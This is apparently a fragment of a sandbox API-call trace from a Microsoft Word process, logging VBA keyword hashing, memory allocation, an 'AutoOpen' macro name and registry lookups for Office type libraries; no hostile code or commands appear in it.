(syskind=0x3, lcid=0x419, szName="Wend") returned 0x30fb84 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="While") returned 0x30342a [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Width") returned 0x30e075 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="With") returned 0x30118b [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="WithEvents") returned 0x30ec81 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Write") returned 0x30ee3b [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Xor") returned 0x30ef9b [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#Const") returned 0x30f8c9 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#Else") returned 0x3050dd [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#ElseIf") returned 0x30e5b5 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#End") returned 0x30d478 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="#If") returned 0x30d383 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Attribute") returned 0x30ed01 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Base") returned 0x309fb8 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Control") returned 0x30a946 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Creatable") returned 0x301d92 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Customizable") returned 0x30c26d [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Description") returned 0x3009d0 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Exposed") returned 0x3030b3 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Ext_KEY") returned 0x30a892 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_HelpID") returned 0x303e41 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Invoke_Func") returned 0x30c92c [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Invoke_Property") returned 0x307f4e [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Invoke_PropertyPut") returned 0x307d0f [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Invoke_PropertyPutRef") returned 0x305a28 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_MemberFlags") returned 0x308db7 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_Name") returned 0x30e2ff [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_PredeclaredId") returned 0x305fc7 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_ProcData") returned 0x307005 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_TemplateDerived") returned 0x309f1e [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarDescription") returned 0x303303 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarHelpID") returned 0x30a3b6 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarMemberFlags") returned 0x30b6ea [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarProcData") returned 0x301b0c [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_UserMemId") returned 0x307b95 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_VarUserMemId") returned 0x304d5f [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="VB_GlobalNameSpace") returned 0x30ce77 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName=",") returned 0x301043 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName=".") returned 0x301045 [0069.233] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="\"") returned 0x301039 [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_") returned 0x301076 [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CLngPtr") returned 0x305ab0 [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefLngPtr") returned 0x3036f2 [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="PtrSafe") returned 0x306f4a [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CLngLng") returned 0x304463 [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefLngLng") returned 0x3020a5 [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LongLong") returned 0x30378e [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LongPtr") returned 0x30d4e8 [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="0") returned 0x301047 [0069.234] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="0") returned 0x301047 [0069.234] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860e70000 [0069.236] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6befd0, cb=0x60) returned 0x28856fa1190 [0069.236] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e6f10, cb=0x24) returned 0x2885d6bf3f0 [0069.236] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d4db530) [0069.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x6b0) returned 0x2885d4db530 [0069.237] wcscpy_s (in: _Destination=0xbcb38f3e80, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0069.237] _ltow_s (in: _Value=1, _Buffer=0xbcb38f3e8c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="1") returned 0x0 [0069.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x28857524140 [0069.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2885d746d80 [0069.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6edf40 [0069.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ecd40 [0069.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x28857643520 [0069.237] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x28857524140) [0069.241] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d267ea0 [0069.243] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d2682f0 [0069.243] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d268b90 [0069.243] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d269880 [0069.243] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d262410 [0069.244] CoCreateGuid (in: pguid=0x2885d41aa58 | out: pguid=0x2885d41aa58*(Data1=0xae0bf737, Data2=0xa57, Data3=0x451e, Data4=([0]=0xb9, [1]=0xe9, [2]=0x7e, [3]=0x57, [4]=0xde, [5]=0x1e, [6]=0x57, [7]=0x83))) returned 0x0 [0069.265] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x84) returned 0x2885d15fdf0 [0069.266] wcscpy_s (in: _Destination=0x2885d15fe60, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0069.266] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x180) returned 0x2885d759ca0 [0069.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2885d748400 [0069.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2885d748580 [0069.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ecf80 [0069.266] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x80) returned 0x2885d1601e0 [0069.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ec680 [0069.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6eb000 [0069.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x6b0) returned 0x28857524140 [0069.266] CoCreateGuid (in: pguid=0x2885d6ecfd8 | out: pguid=0x2885d6ecfd8*(Data1=0x5e0174d3, Data2=0x63e5, Data3=0x46dd, Data4=([0]=0x82, [1]=0xde, [2]=0x13, [3]=0xaf, [4]=0x13, [5]=0x3b, [6]=0x57, [7]=0xa))) returned 0x0 [0069.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc0) returned 0x2885d582720 [0069.266] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d262860 [0069.266] strcpy_s (in: _Dst=0x2885d6ed038, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0069.266] strcpy_s (in: _Dst=0x2885d6ed050, _DstSize=0x9, _Src="AutoOpen" | out: _Dst="AutoOpen") returned 0x0 [0069.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x28857643e20 [0069.266] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d51ec20, cb=0x10) returned 0x2885d6d2010 [0069.266] strcpy_s (in: _Dst=0x2885d6ed068, _DstSize=0x8, _Src="Project" | out: _Dst="Project") returned 0x0 [0069.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d51eae0) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d267ea0) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d2682f0) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d262410) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d268b90) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d269880) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d4db530) [0069.267] IUnknown:Release (This=0x2884e335eb0) returned 0x4 [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e360270) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2884e35f550) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d51e600) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d57ea30) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x288575fa2c0) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x28857643520) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d746d80) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6ecd40) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6edf40) [0069.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x288576b69f0) [0069.268] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d41aa00) [0069.268] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x288571043b0) [0069.268] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d51ea20) [0069.268] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d158e90) [0069.268] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d157e40) [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2885d2234a0 [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885d6bf270 [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d6d1e90 [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d158e90 [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6c80 [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6ec0 [0069.268] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6357d0, cb=0x1100) returned 0x2885d41aa00 [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2885d4db530 [0069.268] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6bf270, cb=0x0) returned 0x0 [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6c50 [0069.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2885d6d1eb0 [0069.268] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6d1e90, cb=0x10) returned 0x2885d6d19b0 [0069.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d158e90, cb=0x8) returned 0x2885d5e6cd0 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2885d6357d0 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885d6bed30 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6d70 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6c70 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885d6bee80 [0069.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e6c70, cb=0x0) returned 0x0 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6c10 [0069.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e6ec0, cb=0x0) returned 0x0 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6df0 [0069.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e6d70, cb=0x28) returned 0x2885d6bf660 [0069.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6bee80, cb=0x0) returned 0x0 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6cf0 [0069.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e6c80, cb=0x20) returned 0x2885d6bf6c0 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x28857643d60 [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x288576438a0 [0069.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x28857643d60) [0069.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d159af0 [0069.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d159af0, cb=0xb8) returned 0x2885d748f40 [0069.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2885d6beb80 [0069.270] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6beb80) [0069.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x688) returned 0x28856f90ac0 [0069.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d159af0 [0069.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e6e80 [0069.270] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d159af0, cb=0x8) returned 0x2885d5e6cc0 [0069.270] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_Evaluate") returned 0x30d918 [0069.409] free (_Block=0x0) [0069.409] free (_Block=0x0) [0069.409] free (_Block=0x0) [0069.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0561689564", cchWideChar=11, lpMultiByteStr=0xbcb38f4e00, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0561689564", lpUsedDefaultChar=0x0) returned 11 [0069.571] GetLocalTime (in: lpSystemTime=0xbcb38f4ee8 | out: lpSystemTime=0xbcb38f4ee8*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x3a, wMilliseconds=0xb1)) [0069.572] _ultow_s (in: _Value=0x6168c316, _Buffer=0x2885d4e93ac, _BufferCount=0x9, _Radix=16 | out: _Buffer="6168c316") returned 0x0 [0069.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="036168c316", cchWideChar=11, lpMultiByteStr=0xbcb38f4e40, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="036168c316", lpUsedDefaultChar=0x0) returned 11 [0069.572] free (_Block=0x0) [0069.572] free (_Block=0x0) [0069.572] free (_Block=0x0) [0069.572] free (_Block=0x0) [0069.572] free (_Block=0x0) [0069.573] free (_Block=0x0) [0069.573] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6d19b0) [0069.573] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d5e6cd0) [0069.573] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d6d19b0 [0069.573] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d158e90 [0069.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="036168c316", cchWideChar=11, lpMultiByteStr=0xbcb38f5000, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="036168c316", lpUsedDefaultChar=0x0) returned 11 [0069.573] GetLocalTime (in: lpSystemTime=0xbcb38f50e8 | out: lpSystemTime=0xbcb38f50e8*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x3a, wMilliseconds=0xb1)) [0069.573] _ultow_s (in: _Value=0x6168c316, _Buffer=0x2885d4e93ac, _BufferCount=0x9, _Radix=16 | out: _Buffer="6168c316") returned 0x0 [0069.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="046168c316", cchWideChar=11, lpMultiByteStr=0xbcb38f5040, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="046168c316", lpUsedDefaultChar=0x0) returned 11 [0069.574] wcscpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0069.574] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xbcb38f48b0 | out: phkResult=0xbcb38f48b0*=0x14ce) returned 0x0 [0069.575] RegOpenKeyW (in: hKey=0x14ce, lpSubKey="{000204EF-0000-0000-C000-000000000046}", phkResult=0xbcb38f48a8 | out: phkResult=0xbcb38f48a8*=0x14d6) returned 0x0 [0069.575] RegEnumKeyW (in: hKey=0x14d6, dwIndex=0x0, lpName=0xbcb38f48d8, cchName=0xa | out: lpName="2.1") returned 0x0 [0069.576] RegEnumKeyW (in: hKey=0x14d6, dwIndex=0x1, lpName=0xbcb38f48d8, cchName=0xa | out: lpName="4.2") returned 0x0 [0069.576] wcscpy_s (in: _Destination=0xbcb38f48c0, _SizeInWords=0xa, _Source="4.2" | out: _Destination="4.2") returned 0x0 [0069.576] RegOpenKeyW (in: hKey=0x14d6, lpSubKey="4.2", phkResult=0xbcb38f4968 | out: phkResult=0xbcb38f4968*=0x14da) returned 0x0 [0069.576] _ultoa_s (in: _Val=0x9, _DstBuf=0xbcb38f48e0, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0069.576] RegOpenKeyA (in: hKey=0x14da, lpSubKey="9", phkResult=0xbcb38f48d0 | out: phkResult=0xbcb38f48d0*=0x14de) returned 0x0 [0069.576] RegOpenKeyW (in: hKey=0x14de, lpSubKey="win64", phkResult=0xbcb38f48d8 | out: phkResult=0xbcb38f48d8*=0x14e2) returned 0x0 [0069.577] RegCloseKey (hKey=0x14e2) returned 0x0 [0069.577] RegCloseKey (hKey=0x14de) returned 0x0 [0069.577] _ultow_s (in: _Value=0x9, _Buffer=0xbcb38f4970, _BufferCount=0x9, _Radix=16 | out: _Buffer="9") returned 0x0 [0069.577] RegOpenKeyW (in: hKey=0x14da, lpSubKey="9", phkResult=0xbcb38f4948 | out: phkResult=0xbcb38f4948*=0x14de) returned 0x0 [0069.577] RegQueryValueW (in: hKey=0x14de, lpSubKey="win64", lpData=0xbcb38f4990, lpcbData=0xbcb38f4944 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpcbData=0xbcb38f4944) returned 0x0 [0069.577] wcscpy_s (in: _Destination=0xbcb38f4c10, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0069.577] RegCloseKey (hKey=0x14de) returned 0x0 [0069.577] RegCloseKey (hKey=0x14da) returned 0x0 [0069.578] RegCloseKey (hKey=0x14d6) returned 0x0 [0069.578] RegCloseKey (hKey=0x14ce) returned 0x0 [0069.578] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", pptlib=0xbcb38f4fb8*=0x0 | out: pptlib=0xbcb38f4fb8*=0x2885d4c6250) returned 0x0 [0069.578] IUnknown:AddRef (This=0x2885d4c6250) returned 0x4 [0069.578] IUnknown:QueryInterface (in: This=0x2885d4c6250, riid=0x7ff9bdefcce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5018 | out: ppvObject=0xbcb38f5018*=0x0) returned 0x80004002 [0069.578] ITypeLib:RemoteGetDocumentation (in: This=0x2885d4c6250, index=-1, refPtrFlags=0xb38f5358, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x288575fa601 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x288575fa601) returned 0x0 [0069.578] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="VBA", cchCount1=3, lpString2="Normal", cchCount2=6) returned 3 [0069.578] IUnknown:Release (This=0x2885d4c6250) returned 0x3 [0069.578] wcscpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0069.578] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xbcb38f48b0 | out: phkResult=0xbcb38f48b0*=0x14ce) returned 0x0 [0069.579] RegOpenKeyW (in: hKey=0x14ce, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0xbcb38f48a8 | out: phkResult=0xbcb38f48a8*=0x14d2) returned 0x0 [0069.579] RegEnumKeyW (in: hKey=0x14d2, dwIndex=0x0, lpName=0xbcb38f48d8, cchName=0xa | out: lpName="8.7") returned 0x0 [0069.579] wcscpy_s (in: _Destination=0xbcb38f48c0, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0069.579] RegOpenKeyW (in: hKey=0x14d2, lpSubKey="8.7", phkResult=0xbcb38f4968 | out: phkResult=0xbcb38f4968*=0x14de) returned 0x0 [0069.579] _ultoa_s (in: _Val=0x0, _DstBuf=0xbcb38f48e0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0069.579] RegOpenKeyA (in: hKey=0x14de, lpSubKey="0", phkResult=0xbcb38f48d0 | out: phkResult=0xbcb38f48d0*=0x14e6) returned 0x0 [0069.580] RegOpenKeyW (in: hKey=0x14e6, lpSubKey="win64", phkResult=0xbcb38f48d8 | out: phkResult=0xbcb38f48d8*=0x14ee) returned 0x0 [0069.612] RegCloseKey (hKey=0x14ee) returned 0x0 [0069.612] RegCloseKey (hKey=0x14e6) returned 0x0 [0069.612] _ultow_s (in: _Value=0x0, _Buffer=0xbcb38f4970, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0069.612] RegOpenKeyW (in: hKey=0x14de, lpSubKey="0", phkResult=0xbcb38f4948 | out: phkResult=0xbcb38f4948*=0x14e2) returned 0x0 [0069.613] RegQueryValueW (in: hKey=0x14e2, lpSubKey="win64", lpData=0xbcb38f4990, lpcbData=0xbcb38f4944 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0xbcb38f4944) returned 0x0 [0069.613] wcscpy_s (in: _Destination=0xbcb38f4c10, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0069.613] RegCloseKey (hKey=0x14e2) returned 0x0 [0069.613] RegCloseKey (hKey=0x14de) returned 0x0 [0069.613] RegCloseKey (hKey=0x14d2) returned 0x0 [0069.613] RegCloseKey (hKey=0x14ce) returned 0x0 [0069.613] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", pptlib=0xbcb38f4fb8*=0x0 | out: pptlib=0xbcb38f4fb8*=0x28857594370) returned 0x0 [0069.613] IUnknown:AddRef (This=0x28857594370) returned 0x9 [0069.613] IUnknown:QueryInterface (in: This=0x28857594370, riid=0x7ff9bdefcce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f5018 | out: ppvObject=0xbcb38f5018*=0x0) returned 0x80004002 [0069.613] ITypeLib:RemoteGetDocumentation (in: This=0x28857594370, index=-1, refPtrFlags=0xb38f5358, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x288575fa601 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x288575fa601) returned 0x0 [0069.613] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Word", cchCount1=4, lpString2="Normal", cchCount2=6) returned 3 [0069.613] IUnknown:Release (This=0x28857594370) returned 0x8 [0069.613] wcscpy_s (in: _Destination=0x2885d65fb88, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0069.614] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xbcb38f48b0 | out: phkResult=0xbcb38f48b0*=0x14ce) returned 0x0 [0069.614] RegOpenKeyW (in: hKey=0x14ce, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0xbcb38f48a8 | out: phkResult=0xbcb38f48a8*=0x14d2) returned 0x0 [0069.614] RegEnumKeyW (in: hKey=0x14d2, dwIndex=0x0, lpName=0xbcb38f48d8, cchName=0xa | out: lpName="1.0") returned 0x0 [0069.614] RegEnumKeyW (in: hKey=0x14d2, dwIndex=0x1, lpName=0xbcb38f48d8, cchName=0xa | out: lpName="2.0") returned 0x0 [0069.614] wcscpy_s (in: _Destination=0xbcb38f48c0, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0069.614] RegOpenKeyW (in: hKey=0x14d2, lpSubKey="2.0", phkResult=0xbcb38f4968 | out: phkResult=0xbcb38f4968*=0x14d6) returned 0x0 [0069.614] _ultoa_s (in: _Val=0x0, _DstBuf=0xbcb38f48e0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0069.614] RegOpenKeyA (in: hKey=0x14d6, lpSubKey="0", phkResult=0xbcb38f48d0 | out: phkResult=0xbcb38f48d0*=0x14de) returned 0x0 [0069.615] RegOpenKeyW (in: hKey=0x14de, lpSubKey="win64", phkResult=0xbcb38f48d8 | out: phkResult=0xbcb38f48d8*=0x14da) returned 0x0 [0069.615] RegCloseKey (hKey=0x14da) returned 0x0 [0069.615] RegCloseKey (hKey=0x14de) returned 0x0 